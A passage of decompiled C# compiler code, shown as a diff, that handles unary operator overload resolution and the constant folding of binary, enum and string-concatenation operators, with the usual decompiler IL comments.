references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Invalid comparison between Unknown and I4 + UnaryOperatorOverloadResolutionResult instance = UnaryOperatorOverloadResolutionResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + OverloadResolution.UnaryOperatorOverloadResolution(kind, CheckOverflowAtRuntime, operand, instance, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + UnaryOperatorAnalysisResult best = instance.Best; + if (instance.Results.Any()) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + Enumerator enumerator = instance.Results.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol method = enumerator.Current.Signature.Method; + if ((object)method != null) + { + instance2.Add(method); + } + } + originalUserDefinedOperators = instance2.ToImmutableAndFree(); + if (best.HasValue) + { + resultKind = LookupResultKind.Viable; + } + else if (instance.AnyValid()) + { + if (kind == UnaryOperatorKind.UnaryMinus && (object)operand.Type != null && ((int)operand.Type.SpecialType == 16 || isNuint(operand.Type))) + { + resultKind = LookupResultKind.OverloadResolutionFailure; + } + else + { + resultKind = LookupResultKind.Ambiguous; + } + } + else + { + resultKind = LookupResultKind.OverloadResolutionFailure; + } + } + else + { + originalUserDefinedOperators = ImmutableArray.Empty; + resultKind = (best.HasValue ? LookupResultKind.Viable : LookupResultKind.Empty); + } + if (best.HasValue) + { + MethodSymbol method2 = best.Signature.Method; + if ((object)method2 != null) + { + ReportObsoleteAndFeatureAvailabilityDiagnostics(method2, node, diagnostics); + ReportUseSite(method2, diagnostics, (SyntaxNode)(object)node); + } + } + instance.Free(); + return best; + static bool isNuint(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)type.SpecialType == 22) + { + return type.IsNativeIntegerType; + } + return false; + } + } + + private static object FoldDecimalBinaryOperators(BinaryOperatorKind kind, ConstantValue valueLeft, ConstantValue valueRight) + { + return kind switch + { + BinaryOperatorKind.DecimalAddition => valueLeft.DecimalValue + valueRight.DecimalValue, + BinaryOperatorKind.DecimalSubtraction => valueLeft.DecimalValue - valueRight.DecimalValue, + BinaryOperatorKind.DecimalMultiplication => valueLeft.DecimalValue * valueRight.DecimalValue, + BinaryOperatorKind.DecimalDivision => valueLeft.DecimalValue / valueRight.DecimalValue, + BinaryOperatorKind.DecimalRemainder => valueLeft.DecimalValue % valueRight.DecimalValue, + _ => null, + }; + } + + private static object FoldNativeIntegerOverflowingBinaryOperator(BinaryOperatorKind kind, ConstantValue valueLeft, ConstantValue valueRight) + { + checked + { + switch (kind) + { + case BinaryOperatorKind.NIntAddition: + return valueLeft.Int32Value + valueRight.Int32Value; + case BinaryOperatorKind.NUIntAddition: + return valueLeft.UInt32Value + valueRight.UInt32Value; + case BinaryOperatorKind.NIntSubtraction: + return valueLeft.Int32Value - valueRight.Int32Value; + case BinaryOperatorKind.NUIntSubtraction: + return valueLeft.UInt32Value - valueRight.UInt32Value; + case BinaryOperatorKind.NIntMultiplication: + return valueLeft.Int32Value * valueRight.Int32Value; + case BinaryOperatorKind.NUIntMultiplication: + return valueLeft.UInt32Value * valueRight.UInt32Value; + case BinaryOperatorKind.NIntDivision: + return unchecked(valueLeft.Int32Value / valueRight.Int32Value); + case BinaryOperatorKind.NIntRemainder: + return unchecked(valueLeft.Int32Value % valueRight.Int32Value); + case BinaryOperatorKind.NIntLeftShift: + { + int num3 = valueLeft.Int32Value << valueRight.Int32Value; + long num4 = valueLeft.Int64Value << valueRight.Int32Value; + if (num3 != num4) + { + return null; + } + return num3; + } + case BinaryOperatorKind.NUIntLeftShift: + { + uint num = valueLeft.UInt32Value << valueRight.Int32Value; + ulong num2 = valueLeft.UInt64Value << valueRight.Int32Value; + if (num != num2) + { + return null; + } + return num; + } + default: + return null; + } + } + } + + private static object FoldUncheckedIntegralBinaryOperator(BinaryOperatorKind kind, ConstantValue valueLeft, ConstantValue valueRight) + { + switch (kind) + { + case BinaryOperatorKind.IntAddition: + return valueLeft.Int32Value + valueRight.Int32Value; + case BinaryOperatorKind.LongAddition: + return valueLeft.Int64Value + valueRight.Int64Value; + case BinaryOperatorKind.UIntAddition: + return valueLeft.UInt32Value + valueRight.UInt32Value; + case BinaryOperatorKind.ULongAddition: + return valueLeft.UInt64Value + valueRight.UInt64Value; + case BinaryOperatorKind.IntSubtraction: + return valueLeft.Int32Value - valueRight.Int32Value; + case BinaryOperatorKind.LongSubtraction: + return valueLeft.Int64Value - valueRight.Int64Value; + case BinaryOperatorKind.UIntSubtraction: + return valueLeft.UInt32Value - valueRight.UInt32Value; + case BinaryOperatorKind.ULongSubtraction: + return valueLeft.UInt64Value - valueRight.UInt64Value; + case BinaryOperatorKind.IntMultiplication: + return valueLeft.Int32Value * valueRight.Int32Value; + case BinaryOperatorKind.LongMultiplication: + return valueLeft.Int64Value * valueRight.Int64Value; + case BinaryOperatorKind.UIntMultiplication: + return valueLeft.UInt32Value * valueRight.UInt32Value; + case BinaryOperatorKind.ULongMultiplication: + return valueLeft.UInt64Value * valueRight.UInt64Value; + case BinaryOperatorKind.IntDivision: + if (valueLeft.Int32Value == int.MinValue && valueRight.Int32Value == -1) + { + return int.MinValue; + } + return valueLeft.Int32Value / valueRight.Int32Value; + case BinaryOperatorKind.LongDivision: + if (valueLeft.Int64Value == long.MinValue && valueRight.Int64Value == -1) + { + return long.MinValue; + } + return valueLeft.Int64Value / valueRight.Int64Value; + default: + return null; + } + } + + private static object FoldCheckedIntegralBinaryOperator(BinaryOperatorKind kind, ConstantValue valueLeft, ConstantValue valueRight) + { + checked + { + return kind switch + { + BinaryOperatorKind.IntAddition => valueLeft.Int32Value + valueRight.Int32Value, + BinaryOperatorKind.LongAddition => valueLeft.Int64Value + valueRight.Int64Value, + BinaryOperatorKind.UIntAddition => valueLeft.UInt32Value + valueRight.UInt32Value, + BinaryOperatorKind.ULongAddition => valueLeft.UInt64Value + valueRight.UInt64Value, + BinaryOperatorKind.IntSubtraction => valueLeft.Int32Value - valueRight.Int32Value, + BinaryOperatorKind.LongSubtraction => valueLeft.Int64Value - valueRight.Int64Value, + BinaryOperatorKind.UIntSubtraction => valueLeft.UInt32Value - valueRight.UInt32Value, + BinaryOperatorKind.ULongSubtraction => valueLeft.UInt64Value - valueRight.UInt64Value, + BinaryOperatorKind.IntMultiplication => valueLeft.Int32Value * valueRight.Int32Value, + BinaryOperatorKind.LongMultiplication => valueLeft.Int64Value * valueRight.Int64Value, + BinaryOperatorKind.UIntMultiplication => valueLeft.UInt32Value * valueRight.UInt32Value, + BinaryOperatorKind.ULongMultiplication => valueLeft.UInt64Value * valueRight.UInt64Value, + BinaryOperatorKind.IntDivision => unchecked(valueLeft.Int32Value / valueRight.Int32Value), + BinaryOperatorKind.LongDivision => unchecked(valueLeft.Int64Value / valueRight.Int64Value), + _ => null, + }; + } + } + + internal static TypeSymbol GetEnumType(BinaryOperatorKind kind, BoundExpression left, BoundExpression right) + { + switch (kind) + { + case BinaryOperatorKind.EnumAndUnderlyingAddition: + case BinaryOperatorKind.EnumSubtraction: + case BinaryOperatorKind.EnumAndUnderlyingSubtraction: + case BinaryOperatorKind.EnumEqual: + case BinaryOperatorKind.EnumNotEqual: + case BinaryOperatorKind.EnumGreaterThan: + case BinaryOperatorKind.EnumLessThan: + case BinaryOperatorKind.EnumGreaterThanOrEqual: + case BinaryOperatorKind.EnumLessThanOrEqual: + case BinaryOperatorKind.EnumAnd: + case BinaryOperatorKind.EnumXor: + case BinaryOperatorKind.EnumOr: + return left.Type; + case BinaryOperatorKind.UnderlyingAndEnumAddition: + case BinaryOperatorKind.UnderlyingAndEnumSubtraction: + return right.Type; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } + + internal static SpecialType GetEnumPromotedType(SpecialType underlyingType) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Invalid comparison between Unknown and I4 + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if (underlyingType - 9 > 3) + { + if (underlyingType - 13 <= 3) + { + return underlyingType; + } + throw ExceptionUtilities.UnexpectedValue((object)underlyingType); + } + return (SpecialType)13; + } + + private ConstantValue? FoldEnumBinaryOperator(CSharpSyntaxNode syntax, BinaryOperatorKind kind, BoundExpression left, BoundExpression right, TypeSymbol resultTypeSymbol, BindingDiagnosticBag diagnostics) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0137: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Invalid comparison between Unknown and I4 + TypeSymbol enumType = GetEnumType(kind, left, right); + TypeSymbol enumUnderlyingType = enumType.GetEnumUnderlyingType(); + BoundExpression source = CreateConversion(left, enumUnderlyingType, diagnostics); + BoundExpression source2 = CreateConversion(right, enumUnderlyingType, diagnostics); + SpecialType enumPromotedType = GetEnumPromotedType(enumUnderlyingType.SpecialType); + TypeSymbol typeSymbol = ((enumPromotedType == enumUnderlyingType.SpecialType) ? enumUnderlyingType : GetSpecialType(enumPromotedType, diagnostics, (SyntaxNode)(object)syntax)); + source = CreateConversion(source, typeSymbol, diagnostics); + source2 = CreateConversion(source2, typeSymbol, diagnostics); + BinaryOperatorKind kind2 = kind.Operator().WithType(source.Type.SpecialType); + switch (kind2.Operator()) + { + case BinaryOperatorKind.Addition: + case BinaryOperatorKind.Subtraction: + case BinaryOperatorKind.And: + case BinaryOperatorKind.Xor: + case BinaryOperatorKind.Or: + resultTypeSymbol = typeSymbol; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind2.Operator()); + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + break; + } + ConstantValue val = FoldBinaryOperator(syntax, kind2, source, source2, resultTypeSymbol, diagnostics); + if ((int)resultTypeSymbol.SpecialType != 7 && val != (ConstantValue)null && !val.IsBad) + { + TypeSymbol destination = ((kind == BinaryOperatorKind.EnumSubtraction) ? enumUnderlyingType : enumType); + return FoldConstantNumericConversion((SyntaxNode)(object)syntax, val, destination, diagnostics); + } + return val; + } + + private ConstantValue? FoldBinaryOperator(CSharpSyntaxNode syntax, BinaryOperatorKind kind, BoundExpression left, BoundExpression right, TypeSymbol resultTypeSymbol, BindingDiagnosticBag diagnostics) + { + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_015a: Unknown result type (might be due to invalid IL or missing references) + //IL_0199: Unknown result type (might be due to invalid IL or missing references) + if (left.HasAnyErrors || right.HasAnyErrors) + { + return null; + } + ConstantValue val = TryFoldingNullableEquality(kind, left, right); + if (val != (ConstantValue)null) + { + return val; + } + ConstantValue constantValueOpt = left.ConstantValueOpt; + ConstantValue constantValueOpt2 = right.ConstantValueOpt; + if (constantValueOpt == (ConstantValue)null || constantValueOpt2 == (ConstantValue)null) + { + return null; + } + if (constantValueOpt.IsBad || constantValueOpt2.IsBad) + { + return ConstantValue.Bad; + } + if (kind.IsEnum() && !kind.IsLifted()) + { + return FoldEnumBinaryOperator(syntax, kind, left, right, resultTypeSymbol, diagnostics); + } + if (IsDivisionByZero(kind, constantValueOpt2)) + { + Error(diagnostics, ErrorCode.ERR_IntDivByZero, syntax); + return ConstantValue.Bad; + } + object obj = null; + SpecialType specialType = resultTypeSymbol.SpecialType; + obj = FoldNeverOverflowBinaryOperators(kind, constantValueOpt, constantValueOpt2); + if (obj != null) + { + return ConstantValue.Create(obj, specialType); + } + ConstantValue val2 = FoldStringConcatenation(kind, constantValueOpt, constantValueOpt2); + if (val2 != (ConstantValue)null) + { + if (val2.IsBad) + { + Error(diagnostics, ErrorCode.ERR_ConstantStringTooLong, SyntaxNodeOrToken.op_Implicit(right.Syntax)); + } + return val2; + } + try + { + obj = FoldDecimalBinaryOperators(kind, constantValueOpt, constantValueOpt2); + } + catch (OverflowException) + { + Error(diagnostics, ErrorCode.ERR_DecConstError, syntax); + return ConstantValue.Bad; + } + if (obj != null) + { + return ConstantValue.Create(obj, specialType); + } + try + { + obj = FoldNativeIntegerOverflowingBinaryOperator(kind, constantValueOpt, constantValueOpt2); + } + catch (OverflowException) + { + if (CheckOverflowAtCompileTime) + { + Error(diagnostics, ErrorCode.WRN_CompileTimeCheckedOverflow, syntax, resultTypeSymbol); + } + return null; + } + if (obj != null) + { + return ConstantValue.Create(obj, specialType); + } + if (CheckOverflowAtCompileTime) + { + try + { + obj = FoldCheckedIntegralBinaryOperator(kind, constantValueOpt, constantValueOpt2); + } + catch (OverflowException) + { + Error(diagnostics, ErrorCode.ERR_CheckedOverflow, syntax); + return ConstantValue.Bad; + } + } + else + { + obj = FoldUncheckedIntegralBinaryOperator(kind, constantValueOpt, constantValueOpt2); + } + if (obj != null) + { + return ConstantValue.Create(obj, specialType); + } + return null; + } + + private static ConstantValue? TryFoldingNullableEquality(BinaryOperatorKind kind, BoundExpression left, BoundExpression right) + { + if (kind.IsLifted()) + { + BinaryOperatorKind binaryOperatorKind = kind.Operator(); + if ((binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual) && left.Kind == BoundKind.Conversion && right.Kind == BoundKind.Conversion) + { + BoundConversion obj = (BoundConversion)left; + BoundConversion boundConversion = (BoundConversion)right; + ConstantValue constantValueOpt = obj.Operand.ConstantValueOpt; + ConstantValue constantValueOpt2 = boundConversion.Operand.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null && constantValueOpt2 != (ConstantValue)null) + { + bool isNull = constantValueOpt.IsNull; + bool isNull2 = constantValueOpt2.IsNull; + if (isNull || isNull2) + { + if (isNull == isNull2 != (binaryOperatorKind == BinaryOperatorKind.Equal)) + { + return ConstantValue.False; + } + return ConstantValue.True; + } + } + } + } + return null; + } + + private static object? FoldNeverOverflowBinaryOperators(BinaryOperatorKind kind, ConstantValue valueLeft, ConstantValue valueRight) + { + switch (kind) + { + case BinaryOperatorKind.ObjectEqual: + if (valueLeft.IsNull) + { + return valueRight.IsNull; + } + if (valueRight.IsNull) + { + return false; + } + break; + case BinaryOperatorKind.ObjectNotEqual: + if (valueLeft.IsNull) + { + return !valueRight.IsNull; + } + if (valueRight.IsNull) + { + return true; + } + break; + case BinaryOperatorKind.DoubleAddition: + return valueLeft.DoubleValue + valueRight.DoubleValue; + case BinaryOperatorKind.FloatAddition: + return valueLeft.SingleValue + valueRight.SingleValue; + case BinaryOperatorKind.DoubleSubtraction: + return valueLeft.DoubleValue - valueRight.DoubleValue; + case BinaryOperatorKind.FloatSubtraction: + return valueLeft.SingleValue - valueRight.SingleValue; + case BinaryOperatorKind.DoubleMultiplication: + return valueLeft.DoubleValue * valueRight.DoubleValue; + case BinaryOperatorKind.FloatMultiplication: + return valueLeft.SingleValue * valueRight.SingleValue; + case BinaryOperatorKind.DoubleDivision: + return valueLeft.DoubleValue / valueRight.DoubleValue; + case BinaryOperatorKind.FloatDivision: + return valueLeft.SingleValue / valueRight.SingleValue; + case BinaryOperatorKind.DoubleRemainder: + return valueLeft.DoubleValue % valueRight.DoubleValue; + case BinaryOperatorKind.FloatRemainder: + return valueLeft.SingleValue % valueRight.SingleValue; + case BinaryOperatorKind.IntLeftShift: + return valueLeft.Int32Value << valueRight.Int32Value; + case BinaryOperatorKind.LongLeftShift: + return valueLeft.Int64Value << valueRight.Int32Value; + case BinaryOperatorKind.UIntLeftShift: + return valueLeft.UInt32Value << valueRight.Int32Value; + case BinaryOperatorKind.ULongLeftShift: + return valueLeft.UInt64Value << valueRight.Int32Value; + case BinaryOperatorKind.IntRightShift: + case BinaryOperatorKind.NIntRightShift: + return valueLeft.Int32Value >> valueRight.Int32Value; + case BinaryOperatorKind.IntUnsignedRightShift: + return valueLeft.Int32Value >>> valueRight.Int32Value; + case BinaryOperatorKind.NIntUnsignedRightShift: + if (valueLeft.Int32Value < 0) + { + return null; + } + return valueLeft.Int32Value >> valueRight.Int32Value; + case BinaryOperatorKind.LongRightShift: + return valueLeft.Int64Value >> valueRight.Int32Value; + case BinaryOperatorKind.LongUnsignedRightShift: + return valueLeft.Int64Value >>> valueRight.Int32Value; + case BinaryOperatorKind.UIntRightShift: + case BinaryOperatorKind.NUIntRightShift: + case BinaryOperatorKind.UIntUnsignedRightShift: + case BinaryOperatorKind.NUIntUnsignedRightShift: + return valueLeft.UInt32Value >> valueRight.Int32Value; + case BinaryOperatorKind.ULongRightShift: + case BinaryOperatorKind.ULongUnsignedRightShift: + return valueLeft.UInt64Value >> valueRight.Int32Value; + case BinaryOperatorKind.BoolAnd: + return valueLeft.BooleanValue & valueRight.BooleanValue; + case BinaryOperatorKind.IntAnd: + case BinaryOperatorKind.NIntAnd: + return valueLeft.Int32Value & valueRight.Int32Value; + case BinaryOperatorKind.LongAnd: + return valueLeft.Int64Value & valueRight.Int64Value; + case BinaryOperatorKind.UIntAnd: + case BinaryOperatorKind.NUIntAnd: + return valueLeft.UInt32Value & valueRight.UInt32Value; + case BinaryOperatorKind.ULongAnd: + return valueLeft.UInt64Value & valueRight.UInt64Value; + case BinaryOperatorKind.BoolOr: + return valueLeft.BooleanValue | valueRight.BooleanValue; + case BinaryOperatorKind.IntOr: + case BinaryOperatorKind.NIntOr: + return valueLeft.Int32Value | valueRight.Int32Value; + case BinaryOperatorKind.LongOr: + return valueLeft.Int64Value | valueRight.Int64Value; + case BinaryOperatorKind.UIntOr: + case BinaryOperatorKind.NUIntOr: + return valueLeft.UInt32Value | valueRight.UInt32Value; + case BinaryOperatorKind.ULongOr: + return valueLeft.UInt64Value | valueRight.UInt64Value; + case BinaryOperatorKind.BoolXor: + return valueLeft.BooleanValue ^ valueRight.BooleanValue; + case BinaryOperatorKind.IntXor: + case BinaryOperatorKind.NIntXor: + return valueLeft.Int32Value ^ valueRight.Int32Value; + case BinaryOperatorKind.LongXor: + return valueLeft.Int64Value ^ valueRight.Int64Value; + case BinaryOperatorKind.UIntXor: + case BinaryOperatorKind.NUIntXor: + return valueLeft.UInt32Value ^ valueRight.UInt32Value; + case BinaryOperatorKind.ULongXor: + return valueLeft.UInt64Value ^ valueRight.UInt64Value; + case BinaryOperatorKind.LogicalBoolAnd: + return valueLeft.BooleanValue && valueRight.BooleanValue; + case BinaryOperatorKind.LogicalBoolOr: + return valueLeft.BooleanValue || valueRight.BooleanValue; + case BinaryOperatorKind.BoolEqual: + return valueLeft.BooleanValue == valueRight.BooleanValue; + case BinaryOperatorKind.StringEqual: + return valueLeft.StringValue == valueRight.StringValue; + case BinaryOperatorKind.DecimalEqual: + return valueLeft.DecimalValue == valueRight.DecimalValue; + case BinaryOperatorKind.FloatEqual: + return valueLeft.SingleValue == valueRight.SingleValue; + case BinaryOperatorKind.DoubleEqual: + return valueLeft.DoubleValue == valueRight.DoubleValue; + case BinaryOperatorKind.IntEqual: + case BinaryOperatorKind.NIntEqual: + return valueLeft.Int32Value == valueRight.Int32Value; + case BinaryOperatorKind.LongEqual: + return valueLeft.Int64Value == valueRight.Int64Value; + case BinaryOperatorKind.UIntEqual: + case BinaryOperatorKind.NUIntEqual: + return valueLeft.UInt32Value == valueRight.UInt32Value; + case BinaryOperatorKind.ULongEqual: + return valueLeft.UInt64Value == valueRight.UInt64Value; + case BinaryOperatorKind.BoolNotEqual: + return valueLeft.BooleanValue != valueRight.BooleanValue; + case BinaryOperatorKind.StringNotEqual: + return valueLeft.StringValue != valueRight.StringValue; + case BinaryOperatorKind.DecimalNotEqual: + return valueLeft.DecimalValue != valueRight.DecimalValue; + case BinaryOperatorKind.FloatNotEqual: + return valueLeft.SingleValue != valueRight.SingleValue; + case BinaryOperatorKind.DoubleNotEqual: + return valueLeft.DoubleValue != valueRight.DoubleValue; + case BinaryOperatorKind.IntNotEqual: + case BinaryOperatorKind.NIntNotEqual: + return valueLeft.Int32Value != valueRight.Int32Value; + case BinaryOperatorKind.LongNotEqual: + return valueLeft.Int64Value != valueRight.Int64Value; + case BinaryOperatorKind.UIntNotEqual: + case BinaryOperatorKind.NUIntNotEqual: + return valueLeft.UInt32Value != valueRight.UInt32Value; + case BinaryOperatorKind.ULongNotEqual: + return valueLeft.UInt64Value != valueRight.UInt64Value; + case BinaryOperatorKind.DecimalLessThan: + return valueLeft.DecimalValue < valueRight.DecimalValue; + case BinaryOperatorKind.FloatLessThan: + return valueLeft.SingleValue < valueRight.SingleValue; + case BinaryOperatorKind.DoubleLessThan: + return valueLeft.DoubleValue < valueRight.DoubleValue; + case BinaryOperatorKind.IntLessThan: + case BinaryOperatorKind.NIntLessThan: + return valueLeft.Int32Value < valueRight.Int32Value; + case BinaryOperatorKind.LongLessThan: + return valueLeft.Int64Value < valueRight.Int64Value; + case BinaryOperatorKind.UIntLessThan: + case BinaryOperatorKind.NUIntLessThan: + return valueLeft.UInt32Value < valueRight.UInt32Value; + case BinaryOperatorKind.ULongLessThan: + return valueLeft.UInt64Value < valueRight.UInt64Value; + case BinaryOperatorKind.DecimalGreaterThan: + return valueLeft.DecimalValue > valueRight.DecimalValue; + case BinaryOperatorKind.FloatGreaterThan: + return valueLeft.SingleValue > valueRight.SingleValue; + case BinaryOperatorKind.DoubleGreaterThan: + return valueLeft.DoubleValue > valueRight.DoubleValue; + case BinaryOperatorKind.IntGreaterThan: + case BinaryOperatorKind.NIntGreaterThan: + return valueLeft.Int32Value > valueRight.Int32Value; + case BinaryOperatorKind.LongGreaterThan: + return valueLeft.Int64Value > valueRight.Int64Value; + case BinaryOperatorKind.UIntGreaterThan: + case BinaryOperatorKind.NUIntGreaterThan: + return valueLeft.UInt32Value > valueRight.UInt32Value; + case BinaryOperatorKind.ULongGreaterThan: + return valueLeft.UInt64Value > valueRight.UInt64Value; + case BinaryOperatorKind.DecimalLessThanOrEqual: + return valueLeft.DecimalValue <= valueRight.DecimalValue; + case BinaryOperatorKind.FloatLessThanOrEqual: + return valueLeft.SingleValue <= valueRight.SingleValue; + case BinaryOperatorKind.DoubleLessThanOrEqual: + return valueLeft.DoubleValue <= valueRight.DoubleValue; + case BinaryOperatorKind.IntLessThanOrEqual: + case BinaryOperatorKind.NIntLessThanOrEqual: + return valueLeft.Int32Value <= valueRight.Int32Value; + case BinaryOperatorKind.LongLessThanOrEqual: + return valueLeft.Int64Value <= valueRight.Int64Value; + case BinaryOperatorKind.UIntLessThanOrEqual: + case BinaryOperatorKind.NUIntLessThanOrEqual: + return valueLeft.UInt32Value <= valueRight.UInt32Value; + case BinaryOperatorKind.ULongLessThanOrEqual: + return valueLeft.UInt64Value <= valueRight.UInt64Value; + case BinaryOperatorKind.DecimalGreaterThanOrEqual: + return valueLeft.DecimalValue >= valueRight.DecimalValue; + case BinaryOperatorKind.FloatGreaterThanOrEqual: + return valueLeft.SingleValue >= valueRight.SingleValue; + case BinaryOperatorKind.DoubleGreaterThanOrEqual: + return valueLeft.DoubleValue >= valueRight.DoubleValue; + case BinaryOperatorKind.IntGreaterThanOrEqual: + case BinaryOperatorKind.NIntGreaterThanOrEqual: + return valueLeft.Int32Value >= valueRight.Int32Value; + case BinaryOperatorKind.LongGreaterThanOrEqual: + return valueLeft.Int64Value >= valueRight.Int64Value; + case BinaryOperatorKind.UIntGreaterThanOrEqual: + case BinaryOperatorKind.NUIntGreaterThanOrEqual: + return valueLeft.UInt32Value >= valueRight.UInt32Value; + case BinaryOperatorKind.ULongGreaterThanOrEqual: + return valueLeft.UInt64Value >= valueRight.UInt64Value; + case BinaryOperatorKind.UIntDivision: + case BinaryOperatorKind.NUIntDivision: + return valueLeft.UInt32Value / valueRight.UInt32Value; + case BinaryOperatorKind.ULongDivision: + return valueLeft.UInt64Value / valueRight.UInt64Value; + case BinaryOperatorKind.IntRemainder: + return (valueRight.Int32Value != -1) ? (valueLeft.Int32Value % valueRight.Int32Value) : 0; + case BinaryOperatorKind.LongRemainder: + return (valueRight.Int64Value != -1) ? (valueLeft.Int64Value % valueRight.Int64Value) : 0; + case BinaryOperatorKind.UIntRemainder: + case BinaryOperatorKind.NUIntRemainder: + return valueLeft.UInt32Value % valueRight.UInt32Value; + case BinaryOperatorKind.ULongRemainder: + return valueLeft.UInt64Value % valueRight.UInt64Value; + } + return null; + } + + private static ConstantValue? FoldStringConcatenation(BinaryOperatorKind kind, ConstantValue valueLeft, ConstantValue valueRight) + { + if (kind == BinaryOperatorKind.StringConcatenation) + { + Rope val = valueLeft.RopeValue ?? Rope.Empty; + Rope val2 = valueRight.RopeValue ?? Rope.Empty; + if ((long)val.Length + (long)val2.Length <= int.MaxValue) + { + return ConstantValue.CreateFromRope(Rope.Concat(val, val2)); + } + return ConstantValue.Bad; + } + return null; + } + + public static BinaryOperatorKind SyntaxKindToBinaryOperatorKind(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.MultiplyExpression: + case SyntaxKind.MultiplyAssignmentExpression: + return BinaryOperatorKind.Multiplication; + case SyntaxKind.DivideExpression: + case SyntaxKind.DivideAssignmentExpression: + return BinaryOperatorKind.Division; + case SyntaxKind.ModuloExpression: + case SyntaxKind.ModuloAssignmentExpression: + return BinaryOperatorKind.Remainder; + case SyntaxKind.AddExpression: + case SyntaxKind.AddAssignmentExpression: + return BinaryOperatorKind.Addition; + case SyntaxKind.SubtractExpression: + case SyntaxKind.SubtractAssignmentExpression: + return BinaryOperatorKind.Subtraction; + case SyntaxKind.RightShiftExpression: + case SyntaxKind.RightShiftAssignmentExpression: + return BinaryOperatorKind.RightShift; + case SyntaxKind.UnsignedRightShiftExpression: + case SyntaxKind.UnsignedRightShiftAssignmentExpression: + return BinaryOperatorKind.UnsignedRightShift; + case SyntaxKind.LeftShiftExpression: + case SyntaxKind.LeftShiftAssignmentExpression: + return BinaryOperatorKind.LeftShift; + case SyntaxKind.EqualsExpression: + return BinaryOperatorKind.Equal; + case SyntaxKind.NotEqualsExpression: + return BinaryOperatorKind.NotEqual; + case SyntaxKind.GreaterThanExpression: + return BinaryOperatorKind.GreaterThan; + case SyntaxKind.LessThanExpression: + return BinaryOperatorKind.LessThan; + case SyntaxKind.GreaterThanOrEqualExpression: + return BinaryOperatorKind.GreaterThanOrEqual; + case SyntaxKind.LessThanOrEqualExpression: + return BinaryOperatorKind.LessThanOrEqual; + case SyntaxKind.BitwiseAndExpression: + case SyntaxKind.AndAssignmentExpression: + return BinaryOperatorKind.And; + case SyntaxKind.BitwiseOrExpression: + case SyntaxKind.OrAssignmentExpression: + return BinaryOperatorKind.Or; + case SyntaxKind.ExclusiveOrExpression: + case SyntaxKind.ExclusiveOrAssignmentExpression: + return BinaryOperatorKind.Xor; + case SyntaxKind.LogicalAndExpression: + return BinaryOperatorKind.LogicalAnd; + case SyntaxKind.LogicalOrExpression: + return BinaryOperatorKind.LogicalOr; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } + + private BoundExpression BindIncrementOperator(CSharpSyntaxNode node, ExpressionSyntax operandSyntax, SyntaxToken operatorToken, BindingDiagnosticBag diagnostics) + { + operandSyntax.CheckDeconstructionCompatibleArgument(diagnostics); + BoundExpression boundExpression = BindToNaturalType(BindValue(operandSyntax, diagnostics, BindValueKind.IncrementDecrement), diagnostics); + UnaryOperatorKind unaryOperatorKind = SyntaxKindToUnaryOperatorKind(node.Kind()); + if (boundExpression.HasAnyErrors) + { + return new BoundIncrementOperator(node, unaryOperatorKind, boundExpression, null, null, null, null, null, null, LookupResultKind.Empty, CreateErrorType(), hasErrors: true); + } + TypeSymbol type = boundExpression.Type; + if (type.IsDynamic()) + { + return new BoundIncrementOperator((SyntaxNode)(object)node, unaryOperatorKind.WithType(UnaryOperatorKind.Dynamic).WithOverflowChecksIfApplicable(CheckOverflowAtRuntime), boundExpression, null, null, null, null, null, null, LookupResultKind.Viable, default(ImmutableArray), type); + } + LookupResultKind resultKind; + ImmutableArray originalUserDefinedOperators; + UnaryOperatorAnalysisResult unaryOperatorAnalysisResult = UnaryOperatorOverloadResolution(unaryOperatorKind, boundExpression, node, diagnostics, out resultKind, out originalUserDefinedOperators); + if (!unaryOperatorAnalysisResult.HasValue) + { + ReportUnaryOperatorError(node, diagnostics, ((SyntaxToken)(ref operatorToken)).Text, boundExpression, resultKind); + return new BoundIncrementOperator((SyntaxNode)(object)node, unaryOperatorKind, boundExpression, null, null, null, null, null, null, resultKind, originalUserDefinedOperators, CreateErrorType(), hasErrors: true); + } + UnaryOperatorSignature signature = unaryOperatorAnalysisResult.Signature; + CheckNativeIntegerFeatureAvailability(signature.Kind, (SyntaxNode)(object)node, diagnostics); + 